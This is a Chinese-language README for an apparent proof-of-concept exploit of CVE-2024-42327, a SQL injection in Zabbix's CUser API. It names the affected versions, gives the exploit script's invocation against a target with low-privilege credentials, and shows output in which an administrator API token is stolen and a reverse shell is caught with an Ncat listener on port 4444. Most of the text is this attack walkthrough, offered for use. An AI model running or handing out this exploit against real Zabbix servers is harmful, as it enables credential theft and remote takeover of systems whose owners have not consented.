CVE-2024-42327
Zabbix 前端上的非管理员用户账户,无论是默认的 User 角色,还是具有 API 访问权限的任何其他角色,都可以利用这个漏洞。
在 CUser 类的 addRelatedObjects 函数中存在一个 SQLi,该函数是从 CUser.get 函数中调用的,每个具有 API 访问权限的用户都可以使用该函数。
PoC 说明
该 POC 可用于利用CVE-2024-42327泄露管理API身份验证令牌,并创建一个在Zabbix Server(Zabbix server < 6.0.32rc1, 6.4.17rc1, 7.0.1rc1)实现的反弹Shell。
示例:
python3 zabbix_privesc.py -t https://TARGET/zabbix/ -u USER -p PASSWORD
[*] Authenticating ...
[+] Login successful! USER API auth token: d0a05dfe4ce768f62e22bda4057c7c19
[*] Starting data extraction ...
[*] Extracting admin API auth token: af186c156b27a0c3f688b43f58c911c9
[*] Getting host IDs ...
[*] host.get response: {'jsonrpc': '2.0', 'result': [{'hostid': '10084', 'host': 'Zabbix server', 'interfaces': [{'interfaceid': '1'}]}], 'id': 1}
[*] Starting listener and sending reverse shelll ...
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from X.X.X.X:51004.
zabbix@target:/$ id
id
uid=114(zabbix) gid=121(zabbix) groups=121(zabbix)